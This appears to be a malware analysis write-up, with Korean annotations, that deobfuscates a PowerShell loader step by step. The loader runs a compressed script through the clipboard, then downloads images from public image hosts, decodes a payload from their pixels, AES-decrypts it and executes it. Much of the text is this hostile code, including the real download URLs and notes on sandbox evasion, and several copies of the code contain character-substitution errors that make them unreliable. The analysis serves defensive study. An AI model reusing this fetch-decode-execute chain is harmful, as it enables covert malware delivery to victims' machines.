xxxx = _x5Jr + _6o + _JUm + _5Xez + _aIP + _286l + _U7eI + _3a4c +  
+ _85 + _qNo + _ptI + _iPB3 + _Waz + _UNtK + _Qr2N + _ANY + _  
_tA + _CByk + _SE + _Xx + _N1kP + _YJU5 + _R3HL + _3gm + _Ave)  
_Aq + _yx6 + _VYAC + _cbpX + _5SAY + _S12 + _ut + _5vLP + _x)  
_j3 + _oCgc + _TdQ5 + _Qj6 + _SFuY + _iP + _nGX + _8o + _vS +  
+ _mYRs + _Ufe + _AUQ + _Wb9y + _IsdF + _6VE + _5g0 + _Jn + _  
_ghZw + _60f + _XDp + _1l + _CS8 + _UJHQ + _ieHu + _OB + _wz:  
_nlJV + _XmS5 + _QV3 + _YvIB + _Op8 + _nv + _CqUX + _IJZy + _  
_Iy%
```

batch

```
>>> xxxx = _x5Jr + _6o + _JUm + _5Xez + _aIP + _286l + _U7eI + _3a4c + _Tax + _gWi + _Si + _Uv + _xUl + _5h76 + _ok6 + _vEqn + _u4 + _AF + _y5
+ _QpS + _8Tm4 + _sDHY + _I4Lw + _04hv + _U70 + _c05a + _V8 + _6Gx + _vbn + _J2d0 + _p5Z + _xlj + _Af7 + _TA4 + _1ImR + _WfM + _J1iU + _5Zpq +
_85 + _qNo + _ptI + _iPB3 + _Waz + _UNtK + _Qr2N + _ANY + _2Pz1 + _N8 + _1Ihy + _RH + _6b + _sg + _W5qN + _qi + _avo + _AE5 + _U0 + _N7gW + _sv
j + _Mp + _yizX + _g1L + _SWqT + _gI + _gq0 + _YBrx + _ch + _oVcY + _PfZ + _RHKs + _QK + _240 + _Cs + _i3Q + _NSeA + _X8u + _MeZ + _tA + _CByk
+ _SE + _Xx + _N1kP + _YJU5 + _R3HL + _3gm + _AveX + _gc + _tHLi + _5C + _I0d + _RF + _0sF + _2yPl + _3sSP + _Auk + _tlyo + _3rKv + _Qf + _VZ +
_VR2 + _XY + _cJ + _Pj0 + _iDSx + _qGZ8 + _64 + _uheI + _otGC + _Pk + _0e6w + _9x0v + _W5Zf + _0ay + _vjI + _cnU + _T7 + _Aq + _yx6 + _VYAC +
_cbpX + _5SAY + _S12 + _ut + _5vLP + _xYhw + _NFgR + _6uo4 + _vni + _oZJ + _oV + _SyY + _qi8 + _CVGa + _Je + _5S9 + _TPK + _jL + _J0j + _r6 + _
xNc + _VrRM + _vKL2 + _MX + _M8qN + _qD27 + _jOG + _y4s + _PI + _MN + _Thkw + _uh + _9D + _nx + _5TL + _Pnc + _j3 + _oCgc + _TdQ5 + _Qj6 + _SFu
Y + _iP + _nGX + _8o + _vS + _8P + _JW4A + _yFgx + _gsv + _1C + _oj + _X1 + _2BN + _yX + _4Pp + _yGZ5 + _Qw + _AnyN + _QvI9 + _RM6x + _5i + _iz
DJ + _8Q + _Q8 + _uYf + _cyV + _QH + _cQF + _oF + _8c + _xDJY + _Spy4 + _RY1W + _vDH + _8Yt + _48eZ + _mYRs + _Ufe + _AUQ + _Wb9y + _IsdF + _6V
E + _5g0 + _Jn + _vAY + _aH + _1li + _XCqP + _8gGU + _cXA + _wt1T + _RM + _SB0 + _qbQ + _3M + _8ka + _2ay + _Jr2x + _pUa + _JV + _0bli + _SNr +
_vt + _oW1 + _nFl5 + _Wzj + _qy + _ng1r + _gUo + _rcv + _1y9 + _UB1 + _2NP + _jU + _uM + _ghZw + _60f + _XDp + _1l + _CS8 + _UJHQ + _ieHu + _
OB + _wzJH + _xDc + _irCv + _TJ6 + _8731 + _WGx + _pC + _yf + _a4o + _At + _xkhY + _vMz + _8h + _adM + _gkfo + _i1su + _N10 + _q7nb + _iUH + _a
ZNP + _Wb + _5Dgx + _wo + _omR + _r9f + _4J + _3w + _19a + _3E + _8rn + _nukg + _nlJV + _XmS5 + _QV3 + _YvIB + _Op8 + _nv + _CqUX + _IJZy + _GX
+ _1Tl + _AcMa + _OJ5 + _aKU + _AR + _cv + _3qN + _I0 + _6Y81 + _GAEe + _aCN + _yB7 + _nT + _r0T + _Pl + _g0k + _XD0j + _3PdY + _Uz + _ml + _W
n + _IzU + _CMT + _uCTQ + _0xnL + _3Fe + _w7 + _jmxl + _GcMb + _x4m + _Iy
```

```
>>> print xxxx
ECHO/(.(.(.'nEw-0b'+'JeC'+'T')) ("{3}{0}{2}{1}{4}" -f 'SSIOn','dE','.',,'Io.coMPRE','FLaTestreAM')([ SYStEm.i0.memoRYSTrEAm] [cOnVERT]:::"Fr0MbAs`E6`4STRi`Ng"('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'), [IO.C0mPr eSession.ComPrEsSioNMoDe]:::"deC`OM`pre`Ss" )^^^^^^^^^| ^^^^^^&('f0rEACH-oBj'+'EC'+'t') {^^^^^&('nE'+'w-'+'ObJeCT') ("{0}{4}{1}{2}{3}{6}{5}" -f'SY','m','.io.','S','STe','EadeR','TReaMr')($_), [teXT.EnCodiNg]:::"aS`ciI")})."REa`DT`oenD"() ^^^^^^| . ( ([St RiNg]$[v`ERB0se`p`Re`FereN`Ce])[1,3]+x'-JoiN') ^^^| CLIP.EXe ^^^&^^&Cmd /C PoWerSheLL -NoP -sT -Exec BypaSs -W 1 -noni [Void][System.Reflection.Assembly]::("'{0}{1}{2}{3}{4}' -f'L',( \"'{0}{1}{2}'-f'oad','Wi','t'),( \"'{0}{1}{2}'-f'h','Par','tial' ),'Na','me' ).\"In`VOK E\"(( \"'{3}{2}{0}{1}{4}'-f'ndows','.',,'Wi','System. ','Forms' )) ; ([sySTeM.WiNDoWs foRMs.CLIPBOArD]::( \"'{1}{0}' -f( \"'{1}{0}' -f 'T','tE x' ),'gET').\"IN`V`okE\"( ) ) ^^^^^^| .( \"'{0}{1}' -f 'i','EX') ; [System.Windows.Forms.Clipboard]::( \"'{1}{0}' -f (\"'{0}{1}'
```

batch 2

- ECHO/(.(.'nEw-Ob'+'JeC'+'T') ("{3}{0}{2}{1}{4}" -f 'SSION','dE','.',',Io.coMPRE','FLaTestreAM')([SYStEm.iO.memoRYSTrEAm]
[cOnVERT]::"FrOMbAs`E6`4STRi`Ng"('dVVtc6JIEP4rFOWtsBcnaN7XSI0hEsOuigskWTdIXSOOSCLgAiZxOf77dQ9xk72q++A4Oj1PP/
30y3xQ5FKrynYlt5bN3G8eNNdNVUphJCX8uWXP4TMHw+uyvVnZEZb6YtFCW2+3wZXjjZae5zyer3djP+bSe2uptZSaLprt8JMXPGb9zH+OkrCpdu
/zlsPd/WzWKA2w19WIglPq/KkKo8EwFIVHlflOSEhJIE1v37/O2UbvH/
QjP2Q5x2GO334HdfDCJfJe3wsyqKTf4JN1EcztMXFqTx4bFPJ4e9tdtUD9DXifByJLz8ciE1a/j9/TjcZuJ2erY6G/
NbchnhOB Ejh6sa6mwPdb5HqwP5DyZCCgrRYSi+KAbcZGtcfhLyyfr5/
HgTP2b5j8WjJuLAhS1rL5qAvRAuTI41Jtfn5FomP8I8LzBoQgsC8tYWjlks26TEAj+O+7Tq3F48HTpHjNKYhH8t1pe4oaBVtbvcJkERpYIkFx7okLtSuf
EzP5aUe1ekDZNmhaD71YH09s8mgBejUhvlHHbgbZ20ki6leyNNnnhWzD59kq8csCHu6S4/
Pcb0A16TFUQagK5XardRemvQXbr1QWnaMdbWHKaFeT9TjjpYMXqW+TvCMSCd7OgmHntbQEchknYg4X0Y+m79g240yix4gZ8albJXRHeXF+YI
GOQmBDeO5U2BBC5uU9iho09WU+YsweicX5wvODjWLe8Rgxx9TcB4CaqDRlkMiSShf/
OhsyBwdGS8wHetYvLALKA39UxXVmoKfTCXbm3koEBEh8kh9+aoEZBZ+5TMriH2jfdE82kOnjliuRnATWYVUwYGONMJEfVhc4284RpGeuDCtd5
WkFgGiP8KjySQOM9lpaOphM+BL0yn5rEagR6gWZBCvNI6wGGI56ta0F2xdWyU8KRDgilleDf4B5OHaDYeeCusaDxUu9FSUj5gVR6JMmy/
FTsPqMTmD7j4GW/
Z+G2k8QZDEixQD6RBvnYeBmZX90cdxk7aM5wk7i4J7qJkkT5LmiqVxSrDXbNZNUodeP6bOqaxdQCzx4wMdhPwSJXNNdJIWFcPSV/
na4xyjNUbm2M/yvouf6jt9H3SI8cEzd430udEWljCT4BnqnX1HwWAFXdaJHn8F+tOvLX/0cEljJHqZhDPIVCK68tHCrD+dD2/
iyL0wMLv1dyK0Qcg08GRTXex2JzkKHOPqtSrGDxMC0IGUxH9kZTF3wMu7Hiy86hHvlw9o1qzodjTJ+gPQLSqrNpBb/
IWkv7SXqiC76Poyi953lwmt9WTYL7NHG4ZDnYIE9ZuF3a+MW4HCdnCE7H8lho6MIJTLjeY6z4f1+IC44NSbmlmpqkqHArqxi3nLPMUEfZcD9BZjZe
wb5FHLsABixCMcCy73MRJIOGpqZ8NsHPbaquq+dGy4ygZwzBlzRtg/cQTkxh7AobODjvqyoVfdqP7vmoD/dIIABp3BsjSu1pLwYP/
VKorlEgwAFjeelhnY8ZymExzjUEMxxml+eafHEI2Fexfd8FC08x7A4y8FM5MgXdAURJgteMtZGZsQY/
NcL3udcrVrtZvxYpslksBKOAzcqupSH9UdRA1EzwG+x6rkSwmYz60Ueg9g4IO8TLEaghWC3YCzrqSIYHAYDjE2yr+yI3YMpseezXmwjpDEuFCZ3Lf
hDsZDW19gSqyakkBRRUWOBwV1dlhbU3TSKq76vJXNU7BLTjg8+3g841TgOF0icCL9cmbT6TqAbvj0AvWlpmQz3QCZuJQ6t+8kYqfp2/
YPZwCOOGI9pGmdTStq2iMdXAk/oO4fzTV8i1miwKm45OLC5UYunBbXTbKZzF1wdtY8M1ciweFxvTflmEPMK3u6cfHU037s1FG1exSuY/
9YiUyPoQ0dWRFqcGY3JNbcz9ZtE/Uj8ihNU+pEnNxNEB56EzCQxVzRsNs7JrmExbD/
9YCzgojirAYBpxqAXBk1TX1ADvsUsbanYvz9sVMDJkoxmQtXnvkrSCaeY4FYRcFIUTLCn2fBukYXA7mbSW1JsFLQA9zTeGWZ9SRM5Q/
0WFkyogcQBis4u+L7Akxe/5TU6V5Eo1M6Dso2JtfMcq/oZFlChsDwgEazDEbj1X1Lw=='),
[IO.COmPReSsion.ComPrEsSioNMODe]::"deC`OM`pre`Ss")^^^^^^^^^&('fOrE Ach-oBj'+'EC'+'t')
{^^^^^&('nE'+'w'+'ObJeCT') ("{0}{4}{1}{2}{3}{6}{5}" -f 'SY','m','.io','S','STe','EadeR','TReaMr')(\${_},
[teXT.EnCodiNg]::"aS`cil"))."REa`DT`oenD"() ^^^ . ([StRiNg]\$[v`ERBOse`p`Re`FereN`Ce])[1,3]+ 'x'-JoiN')) ^^^ CLIP.EXe
^^^&^^^&Cmd /C PoWerSheLI -NOp -sT -Exec BypaSs -W 1 -noni [Void][System.Reflection.Assembly]::(`{0}{1}{2}{3}{4}` -f 'L',(`{0}{1}
{2}`"-f 'oad','Wi','t'),(`{0}{1}{2}`"-f 'h','Par','tial'),'Na','me')."\`In`VOKE\`((`{3}{2}{0}{1}{4}`"-f 'ndows','.' , 'Wi','System.' , 'Forms')) ;
([sySTeM.WiNDoWs.foRMs.CLIPBOArD]:(`{1}{0}` -f (`{1}{0}` -f 'T','tEx'),'gET')."\`IN`V`okE\`(`)) ^^^ .(`'{0}{1}` -f 'i','EX') ;
[System.Windows.Forms.Clipboard]:(`'{1}{0}` -f (`'{0}{1}`"-f 'lea','r'),'C')."\`IN`VoKE\`(`)

batch 2

- Echo/.('new-object')
io.compression.deflatestream([system.io.memorystream]
[convert]::"frombase64string"('dVVtc6.....zDEbj1X1Lw=='),
[io.compression.compressionmode]::"decompress")|
&('foreach-object') {&('new-object') system.io.streamreader(
\${_}, [text.encoding]::"ascii")}. "readtoend"() | . iex | clip.exe
&&Cmd /C powershell -nop -st -exec bypass -w 1 -noni
[Void][System.Reflection.Assembly]::LoadWithPartialName.
(System.Windows.Forms) ;
([system.windows.forms.clipboard]::gettext()) | .'iEX' ;
[System.Windows.Forms.Clipboard]::Clear()

powershell

- ('nEw-Ob'+ 'JeC' + 'T')

```
PS C:\Users\Administrator> echo ('nEw-Ob'+ 'JeC' + 'T')
nEw-ObJeCT
PS C:\Users\Administrator> -
```

- ("'{3}{0}{2}{1}{4}'" -f
'SSION','dE','.', 'Io.coMPRE','FLaTestreAM')

```
PS C:\Users\Administrator> echo ("'{3}{0}{2}{1}{4}'" -f 'ssION','dE','.', 'Io.coMPRE','FLaTestreAM')
Io.coPRESSIOn.dFLaTestreAM
PS C:\Users\Administrator> -
```

- ([StRiNg]\${v`ERBOse`p`Re`FereN`Ce})[1,3]+ 'x'-Join'')

```
PS C:\Users\Administrator> echo ${verbosepreference}
SilentlyContinue
PS C:\Users\Administrator> echo ([StRiNg]${v`ERBOse`p`Re`FereN`Ce})[1,3]+ 'x'-Join'')
iex
PS C:\Users\Administrator> -
```

powershell

- Echo/.('new-object')
io.compression.deflatestream([system.io.memorystream]
[convert]::"frombase64string"('dVVtc6.....zDEbj1X1Lw=='),
[io.compression.compressionmode]::"decompress")|
&('foreach-object') {&('new-object') system.io.streamreader(
\${_}, [text.encoding]::"ascii")}. "readtoend"() | . iex | clip.exe
&&Cmd /C powershell -nop -st -exec bypass -w 1 -noni
[Void][System.Reflection.Assembly]::LoadWithPartialName.
(System.Windows.Forms) ;
([system.windows.forms.clipboard]::gettext()) | .'iEX' ;
[System.Windows.Forms.Clipboard]::Clear()

powershell

```
PS C:\Users\Administrator> .(.'new-object') io.compression.deflatestream([system.io.memorystream] [convert]::"frombase64string"('dVvTc6]IEP4rF0wtsBcnan7x$10hEs0uigskwTdlxs00SCLgAiZx0f77dQ9xk72q++A40j1PP/30y3xQ5FKryNylt5bN3G8eNNdNVUpH]CX8uWXP4TMHw+uywvNZEzb6YtFCw2+3wZXjjzae5zyer3djP+bSe2uptZSaLprt8]MXPGb9zH+Okrcpdu/zIsPd/wzwKA2w19wlgldPq/KkKo8Ewf1vhf1OSEh]IE1v37/o2UbvH/QjP2Q5x2GO334HdfDC]fjJe3wsyoKTF4]N1EcztMXFqTx4bFP]4e9tdtUD9DxifByJLz8ciEla/j9/TjcZuJ2erY6G/NbcnhIOBEjh6sa6mwPdb5HqwP5DyZCCgrRYSi+KAbcZGtcfhLyyfr5/HgTP2b5j8wjJuLAhS1rL5qAvRAuT141]tfn5FomP8I8LzBoQgsC8tYwjIks26TEAj+0+7Tq3F48HTpH]NKYhH8t1pe4oaBvtbvcjkERpY]kFx7okLtSuFEzP5aUe1ekDZNmhaD71YH09s8mgBejUhvlHHbgbZ20ki6leyNNnnhwzD59kq8csCHu6s4/Pcb0A16TFUQagK5XardRemvQXbr1QwnaMdbWHKaFeT9Tj]jpYMXqW+TvCMSCd70gmHntbQEchknYg4x0Y+m79g240yi4gZ8aIb]XRHeXF+YIGOQmBDe05U2BBC5uU9iho09wU+Ysweic5wvODjwLe8Rgx9TcB4CaqDR1kMiSShf/OhsyBwdGS8wHetYvLALKA39UxxmoKfTC]bm3koEBEh8kh9+aoEZBZ+5TMriH2jfdE82kOnjliuRnATWVvUwYGNM]EfVhc4284RpGeuDCtd5WkFggip8KjySQOM91paOphM+BL0yn5rEagR6gwZBCvN16wGG156ta0F2xdwyU8KRDgiIIeDf4B50HaDYeeCusaDxuu9FSUj5gVR6]Mmy/FTsPqMTmD7j4GW/Z+G2k8QZDEi]xD6RBvnYeBmZx90cdxk7aM5wk7i4j7q]kkT5LmiqVxSrDxbNZNUodeP6b0qaxdQCzx4wMdhPwSJXNNd]1WFcPSV/na4xyjNUbmN2M/yvouf6j]t9H3s18cEzd430udEWI]EfZcD9BZjZewb5FHLsABixCMcCy73MR]IOGpqZ8NsHPbaquq+dGy4ygZwzBIZRtg/cQTkxh7Aob0DjvqyoVfdqP7vmoD/dI1ABp]Bsjs1pLwYP/vKor]EgwAFFje]elhnY8ZymExzjUEMxxMI+eaFHEI2Fexfd8FC08x7A4y8FM5Mg]dAUR]gteMtZGzsQY/NcL3udcrVrtZvxYps1ksBKOAzcqupSH9UdRA1EzwG+x6rkSwmYz60Ueg9g4108TLEaghWC3YCzrqSIYHAYDjE2yr+y]3YmpseezxmwpDEuFCZ3LfhDsZDWl9gSqaakkBRRUWOBwv1d1hIBU3TSKq76v]XNU7BLT]jg8+3g841TgOF0icCL9cmbT6TqAbvj0Avw1pmQz3QCzu]Q6t+8kYqfp2/YPZwCOOG19pGmdTStq2iMdAk/o04fzTV8i1miwKm45OLC5UYunBbXTbKzzFlwdtY8M1ciweFxxvTfImEPMK3u6cfHU037s1FGlexSuY/9YiUyPoQ0dwRFqcGY3]Nbcz9ZtE/Uj8ihNU+pEnNxNEB56EzCQxVzRsNs7]rmExbd/9YczgojirAYBpxqAxBk1TX1ADvsUsbanYvz9sVMD]koxmQ]tXnvkrSCaeY4FYRcF]UTLCn2fBuKyxA7mbSw1]sFLQA9zTeGwZ9SRM50/0wFkyogcQBis4u+L7Akxe/5TU6V5Eo1M6Dso2]tfMcq/oZF]chsDwgEazDEbj1]1Lw=='), [io.compression.compressionmode]::"decompress") | &('foreach-object') {&('new-object') system.io.streamreader($_), [text.encoding]::"ascii")}.readtoend()
```

powershell 2

- &("{0}{1}" -f 'sa','l') o`M new-Ob`Je`CT;."{0}{1}{2}" -f 'Add-','Typ','e') -AssemblyName ("{0}{1}{2}" -f 'S','y','stem.Drawing');[string[]]\${C`O} = ("{6}{5}{3}{1}{7}{4}{8}{2}{0}" -f 'QZ_o.png','mages2.','ALZ','/i','4f','/','https:','imgbox.com/4a/','/BIS'),("5}{1}{3}{4}{2}{0}" -f 'png','https:','mgur.com/o7h7NeV.','/','i.i','h'),("7}{1}{3}{8}{4}{2}{6}{5}{0}" -f 'png','tps:','/i/g','/image','rl','z.','.5lw84pmkrsqdk0','ht','.f'),("0}{6}{9}{4}{5}{1}{2}{7}{8}{3}" -f 'ht','stimg','cc/','1','/i','.po','t','RSvh2V9v/R3.p','ng?dl=','ps:');function OtT`A`sS {param ([String]\$lg`Aa), [String]\$pc`xC}) \${b`y`TuRo} = [Convert]::"FR`O`mBASe64str`ing"(\$IG`AA);\$T`AS = &('Om') b`YtE[](32);[Array]::"C`oPy"(\$b`YTu`Ro), 0, \${T`LaS}, 0, 32);\${rcx`z0} = .('Om') SystEM`.`sE`cURITY`cRyptOgRAPhY.RfC2898de`RIVeB`YtEs(\$P`Cxc),\$t`L`AS});\${Xa`2d} = \${rCx`Z0}."GEt`BYTES"(32);\$D`EfS = \${Rc`x`z0}."geTby`T`ES"(16);\$H`maC = .('Om') sYs`TEM.sEc`UrItY`CRYPtOgRa`pHY`H`MAcS`HA1(\${r`c`xz0}."get`B`Ytes"(20));\${e`edER} = \${hM`Ac}."co`mpuT`e`hAsh"(\${b`ytuRO}, 52, \${B`Y`TURO}."L`e`NGTh" - 52);if (&("{3}{2}{1}{0}" -f 'ect','bj','are-O','Comp') \${e`eD`ER} (\${byT`UrO}[32..51]) -SyncWindow 0) {throw ''}\${A`es} = .('Om') sECuR`ITY.Cr`yPTOgRapH`Y.r`ijnDAelM`AN`A`gED;\$Q`AsAq = \${a`ES}."c`REATeDeC`RYP`TOr"(\${X`A2D}, \${de`FS}); \${MJ`OkO} = \${Qas`Aq}."TRa`N`sFo`RmfI`N`ALbLOCK"(\${b`YT`Uro}, 52, \${B`Y`TuRO}."l`enGtH" - 52);\${a`dA`mi} = .('Om') S`y`stem.l`o.meMOt`YS`Tream(\${MJ`OkO}, \${Fa`lSE});if (\${mj`oKO}[0] -eq 0x1f) \${aDa`Mi} = &('Om') S`Ys`TEM.IO.cOMpRe`s`l`ON.gZlpSt`ReAm(\${a`dam}), [IO.Compression.CompressionMode]::"D`Eco`mPr`ESS") \${sTRE`AMr`ead`Er} = &('Om') sY`sT`E`M.i`O`.sTrEa`MReadEr(\${a`D`Aml}, \${T`RUe}); \${s`TrE`AmrEaD`eR}."REA`dtO`eND"();Function b`AvV(\${t`6`4IN}) \${b`CzA} = [System.Convert]::"fr`OmbASe6`4Str`l`Ng"(\${T64`iN});\${S`eNegS} = [System.Text.Encoding]::"u`Tf8". "g`E`TString"(\${b`CzA});return \${S`ene`GS});&("{1}{0}" -f 'l','sa') a n`Ew-o`Bj`ECT;foreach(\${U`RI}){if ((&('Om') N`ET.wEbcl`E`Nt)."DO`W`NLOAdsTRIng"(\${U`RI})."l`eNGth" -gt 1000) \${W} = .('Om') SY`St`m.DRawi`NG.`B`i`TmAP((&('Om') n`ET`We`BcllEnt)."oP`EnR`ead"(\${U`RI}));\${JY} = .('Om') ByT`E[] 1300200; (0..216)|&('%'){foreach(\${l} in (0..599)){\${S`V} = \${w}."GE`Tp`XEI"(\${l}, \${_}); \${j`Y}[\$_] * 600 + \${i}] = ([math]::"fL`ooR"(({S`V}."B"-band15)*16)-bor(\${s`V}."G"-band 15))};\${e`NSEEv} =[System.Text.Encoding]::"as`Cii"."Ge`TST`R`INg"(\${j`y}[0..129819]);\${Mim`E`dr} = &("{1}{0}" -f 'ss','Otta') -Igaa \${eN`Se`EV} -Pcxc ([System.Version])."nA`ME"; \${c`gg} = .("{1}{0}" -f 'v','Bav')(\${MiME`DR});&("{1}{0}" -f 'X','IE')(\${C`gG});break}}

powershell 2

```

sal oM new-ObJeCT;
Add-Type -AssemblyName 'System.Drawing';
[string[]]${COL}=( 'https://images2.imgbox.com/4a/4f/B1SALZQZ_o.png' , 'https://i.imgur.com/o7h7NeV.png','https://image.frl/i/g5lw84pmkrsqdk0z.png',
function OtTAsS
{
    param (
        [String]${IgAa},
        [String]${pcxC}
    )
    ${byTuRo} = [Convert]::"frombase64string"(${IGAA});
    ${TLAS} = new-object byte[](32);
    [Array]::"CoPy"(${bYTUro}, 0, ${TLAS}, 0, 32);
    ${rcxz0} = new-object system.security.cryptography.rfc2898derivebytes(${PCxc},${tLAS});
    ${Xa2d} = ${rcxz0}.getbytes"(32);
    ${DEfS} = ${rcxz0}.getTbyTES"(16);
    ${HmaC} = new-object system.security.cryptography.hmacsha1(${rcxz0}.getBYtes"(20));
    ${eedER} = ${hMAC}.compuTehAsh(${bytuRO}, 52, ${BYTURO}.LeNGTH" - 52);
    if (Compare-Object ${eeDER} (${byTUr0}[32..51]) -SyncWindow 0)
    {
        throw
    }
    ${Aes} = new-object security.cryptography.rijndaelmanaged;
    ${QAsAq} = ${aES}.createdecryptor"(${XA2D}, ${deFS});
    ${MJ0k0} = ${QasAq}.TRaNsFoRmfINALbLOCK"(${bYTUro}, 52, ${BYTURO}.lenGtH" - 52);
    ${adAmi} = new-object System.Io.memorystream(${MJ0k0}, ${FaLSE});
    if (${mjoKO}[0] -eq 0x1f)
    {
        ${aDaMi} = new-object system.io.compression.gzipstream(${adami}, [IO.Compression.CompressionMode]::"decompress")
    }
    ${streamreader} = new-object system.io.streamreader(${aDAmI}, ${TRUe});
    ${sTrEAmrEaDeR}.REAdt0eND"()
};

Function bAvV(${t64IN})
{
    ${bCzA} = [System.Convert]::fr0mbASe64StrINg"(${T64iN});
    ${SeNegS} = [System.Text.Encoding]::"uTf8"."gETSTring"(${bCzA});

```

powershell 2

- URL 리스트 (무료 이미지 업로드 서비스)

```
[string[]]$COL=( 'https://images2.imgbox.com/4a/4f/B1SALZQZ_o.png',
    'https://i.imgur.com/o7h7NeV.png',
    'https://image.frl/i/g5lw84pmkrsqdk0z.png',
    'https://i.postimg.cc/RSvh2V9v/R3.png?dl=1' );
```

- 대부분의 자동분석 시스템의 실행환경은 인터넷 연결 없음
- imgur.com 등의 서비스 이용시 takedown도, 역추적도 어려움
- 해당 스크립트와의 연결고리 없이 보면 그냥 이미지



powershell 2

- 이미지를 다운로드, 픽셀값을 기반으로 복호화

```
sal a nEW-oBJECT;
foreach(${URL} in ${CoL})          # try every url
{
    if ((new-object net.webclient)."DOWNL0AdSTRING"(${URL})."leNGTH" -gt 1000)  # check image length
    {
        ${W} = new-object system.drawing.bitmap(
            (new-object net.webclient)."openread"(${URL}));      # download image & load
        ${jY} = new-object Byte[] 1300200;
        (0..216)|foreach                         # outer loop 0~216
        {
            foreach (${I} in(0..599))           # inner loop 0~599
            {
                ${SV}=${W}."GETpIXEL"(${I}, ${_});           # get pixel value (x,y)
                ${jY}[${_}*600+$i]=( [math]::"fLooR"(
                    (${SV}."B"-band15)*16)-bor(${SV}."G" -band 15))      # do da math - binary decode
            }
        };
        ${eNSEEv} =[System.Text.Encoding]::"asCii"."GeTSTRINg"(${jY}[0..129819]);
        ${MimEdr} = Ottass -Igaa ${eNSEv}
        | | | | -Pcxc ([System.Version])."nAME";      # ${mimedr} = func ottass(decoded_buf, "Version")
        ${cgG}=Bavv(${MiMEDR});
        IEX(${CgG});
        break
    }
}
```

powershell 2

- Decode, decrypt and decompress buffer

```
function 0tTAsS
{
    param (
        [String]${IgAa},
        [String]${pcxC}
    )
    ${byTuRo} = [Convert]::"frombase64string"(${IGAA});
    ${TLAS} = new-object byte[] (32);
    [Array]::"CoPy"(${bYTuRo}, 0, ${TLAS}, 0, 32);
    ${rcxz0} = new-object system.security.cryptography.rfc2898derivebytes(${PCxc},${tLAS});
    ${Xa2d} = ${rcxz0}. "getbytes" (32);
    ${DEfS} = ${rcxz0}. "getbytes" (16);
    ${HmaC} = new-object system.security.cryptography.hmacsha1(, ${rcxz0}. "getbytes" (20));
    ${eedER} = ${hMAc}. "compuTehAsh"(${bytuRO}, 52, ${BYTURO}. "LeNGTH" - 52);
    if (Compare-Object ${eeDER} (${byTUr0}[32..51]) -SyncWindow 0)
    {
        throw
    }
    ${Aes} = new-object security.cryptography.rijndaelmanaged;
    ${QAsAq} = ${aES}. "createdecryptor" (${XA2D}, ${deFS});
    ${MJ0k0} = ${QasAq}. "TRaNsFoRmfINALbLOCK" (${bYTUro}, 52, ${BYTURO}. "lenGtH" - 52);
    ${adAmi} = new-object System.Io.memorystream(${MJ0k0}, ${FaLSE});
    if (${mjOKO}[0] -eq 0x1f)
    {
